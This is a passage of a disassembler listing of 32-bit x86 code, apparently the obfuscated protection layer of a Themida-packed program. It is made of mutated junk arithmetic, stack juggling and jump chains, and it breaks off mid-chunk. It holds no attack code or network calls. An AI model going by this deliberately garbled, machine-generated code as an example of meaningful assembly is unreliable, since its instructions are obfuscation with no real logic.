loc_5AA7FC:				; CODE XREF: sub_59D99C+28BBj
		mov	eax, 6EA3A2Fh
		or	eax, 79511168h
		push	585Ah
		mov	[esp+0], edi
		mov	edi, 345A47FAh
		add	eax, edi
		pop	edi
		shl	eax, 7
		shr	eax, 5
		jmp	loc_59E3FA
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AA821:				; CODE XREF: sub_5A141E+19B0j
					; sub_5AA256-7030j
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		pop	esp
		or	[esp+0], al
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5AA834:				; CODE XREF: sub_5A0F44-E5j
					; sub_5A728F+59B5j
		add	eax, 4FA68C30h
		mov	ebp, eax
		pop	eax
		sub	esi, ebp
		pop	ebp
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		jmp	loc_59C33A
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------


loc_5AA84A:				; CODE XREF: Themida_:005980BCj
		mov	[esp], esp
		jmp	loc_5AE11A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02F5


loc_5AA852:				; CODE XREF: sub_5A02F5+C28Ej
		not	[esp-6+arg_0+2]
		pop	edx
		not	edx
		xor	edx, 2A057A81h
		jmp	loc_59B250
; END OF FUNCTION CHUNK	FOR sub_5A02F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AA863:				; CODE XREF: sub_5A7343-96A6j
		jg	loc_5A6C08
		neg	esi
		and	esi, 34346CFFh
		sub	esi, 13667CB2h
		or	esi, 34F03135h
		jnp	loc_598185
		add	esi, 28BF3BCAh
		mov	edx, esi
		pop	esi
		jmp	loc_59CB5B
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AA892:				; CODE XREF: sub_5A1340-387j
		push	301h
		mov	[esp+14h+var_14], edx
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		push	ebx
		sub	esp, 4
		jmp	loc_59A630
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AA8A9:				; CODE XREF: sub_5A8C33+9E5j
		add	edx, 4
		jmp	sub_5A3B73
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AA8B4:				; CODE XREF: Themida_:005AE1A4j
		inc	edi
		neg	edi
		sub	edi, 1B9BF00Dh
		and	eax, edi
		pop	edi
		or	eax, 7E051701h
		dec	eax
		push	eax
		jmp	loc_59E920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5AA8CC:				; CODE XREF: sub_59ACCE+B23Cj
		pop	eax
		or	edi, 6CB254D7h
		jmp	loc_5A9629
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------


loc_5AA8D8:				; CODE XREF: Themida_:0059AC0Bj
		neg	cl
		jno	loc_59E0EB
		jmp	loc_5AB879
; ---------------------------------------------------------------------------
		jmp	loc_59981F
; ---------------------------------------------------------------------------


loc_5AA8EA:				; CODE XREF: Themida_:0059B63Dj
		add	esp, 4
		jmp	loc_59FD5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A73AF


loc_5AA8F5:				; CODE XREF: sub_5A73AF-6621j
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		add	edx, eax
		push	ecx
		mov	ch, bh
		jmp	loc_5A4ED5
; END OF FUNCTION CHUNK	FOR sub_5A73AF
; ---------------------------------------------------------------------------


loc_5AA906:				; CODE XREF: Themida_:005A1109j
		sub	edx, 64FA52B7h
		add	edx, esi
		add	edx, 64FA52B7h
		sub	edx, 1AD1D2Dh
		push	eax
		jmp	loc_598DA8
; ---------------------------------------------------------------------------


loc_5AA920:				; CODE XREF: Themida_:0059CCD4j
		mov	[esp], ebx
		push	eax
		jmp	loc_598FB2
; ---------------------------------------------------------------------------


loc_5AA929:				; CODE XREF: Themida_:005A88DEj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_59D527
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5AA942:				; CODE XREF: sub_5986D6+4EDCj
		mov	ebx, 188406FEh
		xor	ebx, 0FF44EDAh
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 299F1B1Bh
		sub	edi, 7FEE5709h
		shl	edi, 2
		neg	edi
		xor	edi, 535413ADh
		add	ebx, edi
		pop	edi
		sub	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59FB24
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------


loc_5AA97F:				; CODE XREF: Themida_:0059922Cj
		mov	ebp, [esp]
		add	esp, 4
		inc	esi
		jmp	loc_59E7E7
; ---------------------------------------------------------------------------


loc_5AA98B:				; CODE XREF: Themida_:005A7FCCj
		and	edx, 1F82505h
		add	edx, 236B0D46h
		add	edx, 4D4CFD06h
		jmp	loc_5A22AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5AA9A2:				; CODE XREF: sub_5A94F5-D9Aj
		add	esp, 4
		jmp	loc_59B8CE
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AA9AA:				; CODE XREF: sub_5A8C33+9C0j
		pop	edi
		sub	edi, edx
		pop	edx
		retn
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5AA9B4:				; CODE XREF: sub_5A34FD+58B2j
		mov	[esp+0], cx
		mov	cl, 0E3h
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_5A45FF
; END OF FUNCTION CHUNK	FOR sub_5A34FD

; =============== S U B	R O U T	I N E =======================================



sub_5AA9C8	proc near		; CODE XREF: sub_5A8C33-FED1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00598573 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00599DFF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A22C5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A575C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AEBA7 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		not	[esp+4+var_4]
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		xchg	ebp, esi
		jmp	loc_599DFF
sub_5AA9C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AA9E2:				; CODE XREF: sub_5AEE2E+1j
		push	edi
		push	4CCF5514h
		pop	edi
		shl	edi, 8
		jp	loc_5A33AB
		xor	edi, 0CE360E74h
		mov	ebp, edi
		pop	edi
		mov	dl, dl
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AA9FD:				; CODE XREF: sub_59A932-1B6Fj
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_5A6E37
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_5AAA06:				; CODE XREF: Themida_:005A8D3Ej
		mov	ebx, eax
		pop	eax
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	eax
		mov	eax, 6D47259Ch
		jmp	loc_59D96B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AAA20:				; CODE XREF: sub_5A600F+771j
		sub	ebx, ecx
		jmp	loc_5A4F67
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AAA27:				; CODE XREF: sub_59D99C-4B15j
		not	eax
		jmp	loc_59E590
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AAA2E:				; CODE XREF: sub_598D67+826Ej
		push	ecx
		mov	ecx, 0BBD2EF1h
		mov	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5AA4C6
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AAA3E:				; CODE XREF: sub_5ACD64-3B18j
		shl	ecx, 6
		jmp	loc_59EFF9
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5AAA46:				; CODE XREF: sub_5A72FB-E1F6j
		pop	ebx
		push	61B1h
		mov	[esp+0Ch+var_C], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		push	esp
		pop	esi
		push	5313h
		mov	[esp+0Ch+var_C], eax
		push	60454148h
		pop	eax
		jmp	loc_5A6D6D
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5AAA79:				; CODE XREF: sub_5AA46D-B4E4j
		push	eax
		mov	eax, esp
		jmp	loc_5AA2AC
; END OF FUNCTION CHUNK	FOR sub_5AA46D

; =============== S U B	R O U T	I N E =======================================



sub_5AAA81	proc near		; DATA XREF: Themida_:00597978o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00598776 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AB75 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059BA38 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059F886 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0124 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A0532 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A26CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A445D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A558F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5AA7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A67E9 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AECFA SIZE 0000000E BYTES

		lodsd
		jmp	loc_59BA38
sub_5AAA81	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AAA87:				; CODE XREF: sub_5A7343-9D7Aj
		not	esi
		xor	esi, 32530A2Dh
		jmp	loc_5989AA
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_5AAAA4:				; CODE XREF: Themida_:005A538Dj
		push	edx
		push	ebx
		mov	ebx, 64663CCDh
		mov	edx, 0C7EC28E3h
		add	edx, ebx
		pop	ebx
		add	edx, 0D3AD9A54h
		add	[esp+4], edx
		pop	edx
		jmp	loc_5AAF09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5AAAC3:				; CODE XREF: sub_5AD9CC+2Bj
		shr	eax, 7
		push	edx
		mov	edx, 0AA0004h
		xor	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		xchg	edi, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		push	3316h
		mov	[esp+4+var_4], ecx
		jmp	loc_5994A8
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AAAE9:				; CODE XREF: sub_59CA4A:loc_5991AAj
		or	eax, 6689389Ah
		jb	loc_5A46B0
		sub	eax, 17806D45h
		mov	ebp, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	ebp, 0A89F4E28h
		add	ebx, ebp
		jmp	loc_59D35A
; END OF FUNCTION CHUNK	FOR sub_59CA4A

; =============== S U B	R O U T	I N E =======================================



sub_5AAB0E	proc near		; CODE XREF: sub_5AB3DC-6BD2j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059880D SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059FC4A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AAE34 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 2EEA1C1Ah
		inc	ebx
		shr	ebx, 1
		add	ebx, 678B2BF7h
		mov	ebp, ebx
		pop	ebx
		push	ecx
		mov	ecx, 42684936h
		xor	ecx, 7E7370D4h
		or	ecx, 6C413907h
		jmp	loc_59FC4A
sub_5AAB0E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AAB37:				; CODE XREF: sub_5A600F-D757j
					; sub_59D00D-225Ej ...
		add	esp, 4
		jmp	loc_59BF7F
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AAB3F:				; CODE XREF: sub_5AE0B5-15E93j
		pop	eax
		jmp	loc_5AD819
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------


loc_5AAB45:				; CODE XREF: Themida_:005A5E7Cj
		or	ebx, 3D901612h
		jmp	loc_59CD2D
; ---------------------------------------------------------------------------


loc_5AAB50:				; CODE XREF: Themida_:005A4DDAj
		jmp	loc_5A5D7B
; ---------------------------------------------------------------------------


loc_5AAB55:				; CODE XREF: Themida_:005A0EDDj
		dec	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		xor	esi, 7DD645FDh
		sub	edx, 38DB0C52h
		push	esi
		mov	esi, 1AD1D2Dh
		jmp	loc_5A1106
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5AB60C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AAB78:				; CODE XREF: sub_5A8C33-B29Cj
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		push	edx
		push	3FCD2368h
		pop	edx
		sub	edx, 27E0C20h
		shl	edx, 8
		jns	loc_59FFEC
		jmp	loc_59DB2C
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, 23107838h
		neg	edi
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5AABA2:				; CODE XREF: sub_5A17D6-8EE5j
		shl	ebx, 8
		not	ebx
		add	ebx, 0FFFFFFFFh
		not	ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		sub	eax, 0FFFFFFFFh
		xchg	eax, ebx
		sub	ebx, 0EEAA97D7h
		sub	edi, ebx
		pop	ebx
		sub	eax, 77207CFEh
		sub	eax, 551C510Ch
		push	ebp
		jmp	loc_5A0468
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------


loc_5AABD2:				; CODE XREF: Themida_:00598E4Ej
		push	edi
		mov	edi, 77D601D4h
		inc	edi
		push	ebp
		mov	ebp, 38AE55E2h
		and	ebp, 5C6355E4h
		add	ebp, 0ABBCD062h
		sub	edi, ebp
		pop	ebp
		xor	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A5A3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA396


loc_5AABFE:				; CODE XREF: sub_5AA396-D784j
					; Themida_:0059E7DAj
		mov	ecx, 43EC20D5h
		xor	ecx, 26B875CAh
		add	ecx, 5B3368FBh
		dec	ecx
		shr	ecx, 1
		neg	ecx
		push	ebp
		jmp	sub_5A484D
; END OF FUNCTION CHUNK	FOR sub_5AA396
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5AAC1A:				; CODE XREF: sub_5AEE2E-62E0j
		push	eax
		jmp	loc_5A84FE
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5AAC20:				; CODE XREF: sub_5AB98B-FBE3j
		sub	al, ch
		pop	ecx
		jmp	loc_59B984
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AAC28:				; CODE XREF: sub_5AC95F-21A7j
		mov	esi, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+0]
		pop	esp
		add	esp, 4
		or	eax, eax
		jz	loc_5A0EA9
		push	dword ptr [edi+1Ch]
		jmp	loc_5ACF98
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AAC57:				; CODE XREF: sub_5A8D43-3C2Cj
		mov	[esp+0], eax
		mov	eax, 73A03DA0h
		jmp	loc_5AB89B
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AAC64:				; CODE XREF: sub_59B707+DA1Ej
		mov	ebx, [esp-8+arg_2+2]
		jmp	loc_5A3CC9
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5AAC6C:				; CODE XREF: Themida_:005A399Ej
		add	esp, 4
		add	ebp, 4
		push	1E7Ch
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_59C808
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5AAC9B:				; CODE XREF: sub_5986D6+635Bj
		mov	cl, al
		mov	dh, cl
		mov	ecx, [esp+10h+var_10]
		jmp	sub_5A34FD
; END OF FUNCTION CHUNK	FOR sub_5986D6

; =============== S U B	R O U T	I N E =======================================



sub_5AACA7	proc near		; CODE XREF: sub_597C68+1D77j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059D8D1 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		xor	[esp+4+var_4], 5FD32528h
		jmp	loc_59D8D1
sub_5AACA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AACBC:				; CODE XREF: sub_599059+84E2j
		pop	edi
		pop	ecx
		push	edx
		jmp	loc_5A4AA7
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AACC4:				; CODE XREF: sub_59C53B+24BCj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_5A5685
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5AACDA:				; CODE XREF: sub_5ABA9B+20j
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		add	esi, 767C7B8Fh
		jmp	loc_5A125E
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AACEA:				; CODE XREF: sub_599059+159CFj
		mov	ebx, ebp
		mov	ebp, [esp-0Eh+arg_A]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A1590
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7C98


loc_5AACFD:				; CODE XREF: sub_5A7C98+20j
		add	esp, 4
		add	edi, 78E0C1Ah
		mov	edx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		mov	ecx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_5A6556
; END OF FUNCTION CHUNK	FOR sub_5A7C98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5AAD2A:				; CODE XREF: sub_5A0F44+964Ej
		sub	edx, 2B89F585h
		push	edx
		pop	ecx
		pop	edx
		mov	ebx, 7AAA1E35h
		jmp	loc_5A6C01
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5AAD3D:				; CODE XREF: sub_59AE49+193Dj
		pop	eax
		push	edx
		mov	edx, 287D4E61h
		inc	edx
		neg	edx
		xor	edx, 52E804AEh
		sub	edx, 1760976Ah
		sub	ebx, edx
		pop	edx
		add	ebx, edi
		add	ebx, 6E0A1DC6h
		push	esi
		jmp	loc_5A058B
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------


loc_5AAD64:				; CODE XREF: Themida_:005A7354j
		xor	ecx, 2A2FBFB5h
		jmp	loc_599BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE18


loc_5AAD6F:				; CODE XREF: sub_5AEE18-1E6j
		mov	edx, 4
		jmp	loc_5A9DED
; END OF FUNCTION CHUNK	FOR sub_5AEE18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5AAD79:				; CODE XREF: sub_5A17D6-5AF0j
		pop	esp
		push	ebp
		mov	ebp, 72B335C2h
		jmp	loc_59E2BE
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F20F


loc_5AAD85:				; CODE XREF: sub_59F20F+3CE7j
		add	edi, 4
		sub	esp, 4
		jmp	loc_5AB324
; END OF FUNCTION CHUNK	FOR sub_59F20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AAD93:				; CODE XREF: sub_5A1340+C272j
		mov	cl, 3Ch
		push	edx
		mov	dl, 0B7h
		shl	dl, 4
		add	dl, 5Bh
		add	dl, 0FFh
		sub	dl, 63h
		sub	cl, dl
		pop	edx
		neg	cl
		sub	cl, 0BCh
		xor	cl, 6Fh
		add	dl, cl
		pop	ecx
		mov	ah, dl
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		shr	ah, 4
		inc	ah
		and	ah, 0CCh
		sub	ah, 7Fh
		jmp	loc_5A730E
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D5B


loc_5AADCA:				; CODE XREF: sub_599D5B+1217Cj
		add	esi, 7AC1701Dh
		jmp	loc_5A59EB
; END OF FUNCTION CHUNK	FOR sub_599D5B
; ---------------------------------------------------------------------------


loc_5AADD5:				; CODE XREF: Themida_:005AB21Cj
		xchg	esi, [esp]
		pop	esp
		add	esi, 4
		push	ecx
		mov	ecx, 119E626Dh
		shr	ecx, 2
		jz	loc_597C5B
		jmp	loc_5A5B2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5AADF3:				; CODE XREF: sub_5AA500-473Bj
		push	eax
		mov	ah, 3Ch
		sub	ah, 2Ch
		xor	dh, ah
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5A6D56
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------


loc_5AAE09:				; CODE XREF: Themida_:0059E3B9j
		add	esp, 4
		push	4FAh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		push	7E3h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5A65AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB0E


loc_5AAE34:				; CODE XREF: sub_5AAB0E-122D5j
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AAB0E
; ---------------------------------------------------------------------------


loc_5AAE3A:				; CODE XREF: Themida_:005A7532j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A402B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5AAE46:				; CODE XREF: sub_59DFDD-71Cj
		mov	eax, 84D277Ah
		and	eax, 4CB91B2Ah
		push	edi
		mov	edi, 3F3E4431h
		sub	edi, 4F2488E1h
		sub	eax, edi
		pop	edi
		jmp	loc_5A6DD8
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------


loc_5AAE64:				; CODE XREF: Themida_:005A393Aj
		add	ebx, 0AEC5746h
		pop	ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_598BDE
; ---------------------------------------------------------------------------


loc_5AAE85:				; CODE XREF: Themida_:00599307j
		push	edi
		mov	edi, esp
		jmp	loc_59E4E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AAE8D:				; CODE XREF: sub_5ACD64-3111j
		sub	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		add	eax, edx
		mov	edx, [esp-0Ch+arg_8]
		jmp	loc_5ABEFF
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5AAE9D:				; CODE XREF: Themida_:005AB8C7j
		pop	ebx
		push	ecx
		mov	ecx, 10A449BFh
		dec	ecx
		xor	ecx, 49303AD0h
		sub	edx, ecx
		pop	ecx
		xor	eax, edx
		pop	edx
		push	78A9h
		mov	[esp], edi
		push	1B875C3Fh
		push	dword ptr [esp]
		jmp	loc_5A118D
; ---------------------------------------------------------------------------


loc_5AAEC6:				; CODE XREF: Themida_:005AE03Fj
		pop	esi
		jmp	loc_5A5670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AAECC:				; CODE XREF: sub_5A3F42+9531j
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	edx, 668B309Ch
		or	ecx, ecx
		jz	loc_5A872C
		push	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_5A5BA5
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_5AAF09:				; CODE XREF: Themida_:005AAABEj
		mov	edi, [esp]
		add	esp, 4
		push	11A2h
		mov	[esp], ebp
		jmp	loc_598314
; ---------------------------------------------------------------------------


loc_5AAF1F:				; CODE XREF: Themida_:0059D0D5j
		xor	edi, eax
		pop	eax
		jmp	loc_5A67A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2923


loc_5AAF27:				; CODE XREF: sub_5A2923+29D0j
		add	al, 63h
		add	al, bh
		jmp	sub_5AE6FD
; END OF FUNCTION CHUNK	FOR sub_5A2923
; ---------------------------------------------------------------------------


loc_5AAF30:				; CODE XREF: Themida_:0059C44Dj
		push	edi
		jmp	loc_5A6EAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AAF36:				; CODE XREF: sub_5A141E+273Aj
		push	ecx
		mov	cx, 13CDh
		neg	cx
		xor	cx, 0D7FEh
		add	bp, cx
		pop	ecx
		sub	bp, 0F863h
		xor	dx, bp
		pop	ebp
		push	esi
		mov	si, 2FCDh
		shr	si, 3
		shr	si, 2
		jmp	loc_5A41E6
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5AAF62:				; CODE XREF: sub_5A28BE+D25j
		pop	cx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, esp
		jmp	loc_59C285
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AAF74:				; CODE XREF: sub_5AC95F-BB12j
		push	edi
		mov	edi, 18602427h
		neg	edi
		jmp	loc_5A910C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5AAF81:				; CODE XREF: sub_59EB21-1766j
		mov	[esp-4+arg_0], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
